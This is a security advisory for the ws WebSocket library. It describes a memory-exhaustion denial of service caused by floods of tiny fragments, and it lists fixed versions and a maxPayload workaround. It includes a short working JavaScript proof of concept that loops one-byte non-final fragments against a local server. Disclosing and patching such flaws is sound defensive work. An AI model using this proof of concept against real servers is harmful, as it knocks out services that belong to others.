VDB
KO
HIGH 7.5

GHSA-96hv-2xvq-fx4p

ws: Memory exhaustion DoS from tiny fragments and data chunks

Details

### Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

### Proof of concept

```js import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`);

ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); });

ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); });

wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ```

### Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

### Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.

### Credits

The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / ws
Introduced in: 1.1.0 Fixed in: 5.2.5
Fix npm install ws@5.2.5
npm / ws
Introduced in: 6.0.0 Fixed in: 6.2.4
Fix npm install ws@6.2.4
npm / ws
Introduced in: 7.0.0 Fixed in: 7.5.11
Fix npm install ws@7.5.11
npm / ws
Introduced in: 8.0.0 Fixed in: 8.21.0
Fix npm install ws@8.21.0

References